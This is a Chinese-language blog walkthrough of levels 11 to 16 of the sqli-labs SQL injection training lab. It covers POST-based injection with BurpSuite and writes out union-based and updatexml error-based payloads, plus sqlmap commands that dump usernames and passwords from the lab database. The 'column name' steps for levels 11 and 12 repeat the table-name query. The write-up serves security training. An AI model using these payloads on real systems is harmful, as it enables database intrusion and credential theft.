sqli-labs过关解析(11-16 附带源码解析)

本篇文章我们要进行的是POST型的注入,我们之前进行渗透的都是GET型。在这里我们要简单的了解一下GET型与POST型的区别。

在这里我直接用最直观的方式让你了解他们之间的区别
(1)GET型请求:我们输入的参数会保留在浏览器中(1-10关参数都是GET型),下面是第六关的代码举例:在这里插入图片描述
在这里插入图片描述
在这里我们可以看到我们输入的参数直接显示在浏览器导航栏里了。

(2)POST型请求:以第十一关为例
在这里插入图片描述
在这里插入图片描述
我们在账号密码处输入参数后,点击submit后。可以发现页面刷新后导航栏并不显示我们输入的参数。利用BurpSuite抓包后我们才能够发现有关POST的参数:
在这里插入图片描述

小技巧: 因此在往后我们面对POST型注入时,我们可以直接用BurpSuite进行抓包然后注入。


sqli-labs 第十一关

还是老样子,先看源码:
在这里插入图片描述
我们可以很容易看到uname和password都是POST型请求(第一反应用BurpSuite抓包),同时我们可以看到$sql语句使用 '闭合
在这里插入图片描述
鼠标右键后点击“Send to Repeater” ,然后再点击Send和Render后,即可加载我们刚看到的网页:
在这里插入图片描述
又因为我们代码中的uname和password并没有进行任何函数过滤,所以在结合发现的 '闭合,就可以很容易的构造注入语句:

我们首先试试有多少个回显位:
	1' order by 3 -- da   (后面的&password=...这些都被注释掉了)
						 // 显示 Unkonwn column '3' in 'order clause'
	1' order by 2 -- da  //页面什么都不显示,说明有2个回显位

记得在修改完语句后再次点击Send才会显示如下画面,不要傻傻的以为修改语句页面就可以自己变化:
在这里插入图片描述
在这里插入图片描述
说明有两个回显位;接下来就进行正常的sql语句注入即可:

显示数据库:
	-1' union select 1,database() -- da 

在这里插入图片描述

列库名:
	-1' union select 1,group_concat(schema_name) from information_schema.schemata -- da

在这里插入图片描述

列表名:
	-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da

在这里插入图片描述

列名:
	-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da

在这里插入图片描述

最后,显示内容:
	-1' union select 1,group_concat(concat_ws(0x3a,username,password)) from security.users -- fa 

在这里插入图片描述

sqli-labs 第十二关

话不多说,直接看源码:
在这里插入图片描述
一样的POST型请求,唯一的区别就是变成了 ") 闭合,其他步骤与上一关一样,直接上代码:

显示有多少个回显位:
	1") order by 1,2,3 -- da  // 显示 Unkonwn column '3' in 'order clause'
	1") order by 2 -- da  //页面什么都不显示,说明有2个回显位

显示数据库:
	-1") union select 1,database() -- da 

列库名:
	-1") union select 1,group_concat(schema_name) from information_schema.schemata -- da

列表名:
	-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da

列名:
	-1") union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= database()) -- da

最后,显示内容:
	-1") union select 1,group_concat(concat_ws(0x3a,username,password)) from security.users -- fa 

sqli-labs 第十三关

源码:
在这里插入图片描述
简单的 ') 闭合,但真的有这么简单吗?

显示有多少个回显位:
	1') order by 1,2,3 -- da  // 显示 Unkonwn column '3' in 'order clause'
	1') order by 2 -- da  //页面什么都不显示,说明有2个回显位

然后我们接着输入:

显示数据库:
	-1') union select 1,database() -- da 

在这里插入图片描述
结果显示我们successfully,但是我们想要的数据呢? 所以我们再次回去查看源码:
在这里插入图片描述

往下翻我们可以发现,显示查询信息的语句被注释掉了,所以在成功后才会没有显示任何数据。但是我们可以发现还存在一个 mysql_error() 函数,所以我们还可以利用报错注入进行:

类似的情况可以查看sqli-labs 第五关的解析,这里我就不赘述了。

查询数据库:
	-1') union select updatexml(1,concat(0x7e,(select database()),0x7e),1) -- da

在这里插入图片描述

列库名:
	-1') and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- fda
	// 修改limit x,1 改变x的值即可得到所有的表名:

在这里插入图片描述
在这里插入图片描述
剩下的同理:

找列名:
	-1') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name='users' limit 0,1),0x7e),1)  -- fda
	
显示数据:
	-1') and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1),0x7e),1)  -- fda  
	

sqli-labs 第十四关

看源码:
在这里插入图片描述
在这里插入图片描述
类似的代码,一样的报错注入,不一样的不过是 " 闭合
直接上代码:

显示有多少个回显位:
	1" order by 1,2,3 -- da  // 显示 Unkonwn column '3' in 'order clause'
	1" order by 2 -- da  //页面什么都不显示,说明有2个回显位

查询数据库:
	-1" union select updatexml(1,concat(0x7e,(select database()),0x7e),1) -- da

列库名:
	-1" and updatexml(1,concat(0x7e,(select(table_name) from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) -- fda

找列名:
	-1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database()  and table_name='users' limit 0,1),0x7e),1)  -- fda
	
显示数据:
	-1" and updatexml(1,concat(0x7e,(select concat_ws(0x3a,username,password) from security.users limit 0,1),0x7e),1)  -- fda  
	

sqli-labs 第十五关

首先我们查看源码:
在这里插入图片描述
在这里插入图片描述
发现竟然连报错注入都没有了(悲),所以我们只能进行盲注了。
一般盲注的步骤sqli-labs 7~10关里讲过,我推荐的是通过sqlmap进行注入,但是与GET型不一样的是:

sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" -p n --dbs

其中文件1.txt是我们用BurpSuite所抓取的POST报文信息,后面的是报文在你电脑上的路径
在这里插入图片描述
我们在抓包后所显示的第一个页面,再将如图中的信息->复制保存到一个.txt文件即可。
在这里插入图片描述
图中显示部分即为所搜索到的数据库名:
在这里插入图片描述
剩下搜寻表名,列名的同理。我在这里就不演示了,直接给各位上代码:

//表名:
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security --tables

//列名
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users --columns

//获取内容:
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users -C username,password --dump

在这里插入图片描述
在这里插入图片描述在这里插入图片描述
太长了,就不等他内容全部显示出来了。因为我要去吃饭)

sqli-labs 第十六关

看源码:
在这里插入图片描述
我们可以发现与第15关代码没有什么太大区别,只不过是变成了 ") 闭合,对手工注入有效(但是对于我们用sqlmap的来说没有任何影响)。
其他不变,还是用sqlmap:

//数据库
sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" -p n --dbs

//表名:
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security --tables

//列名
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users --columns

//获取内容:
	sqlmap.py sqlmap -r "C:\Users\Leco\Desktop\1.txt" --batch -D security -T users -C username,password --dump

甚至于代码都是一样的(记得你抓的包是从16关抓的就行)。

注意

但是对于11-14关来说,我们也可以不用BurpSuite来进行注入,我们可以直接在password的框内来输入我们的语句,可以参考一下这篇文章

总结

这几关其实就是前面1-10关的所有注入技巧的整合,只不过由GET型变成了POST型罢了。多吸收,多思考,多学习别人的经验。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值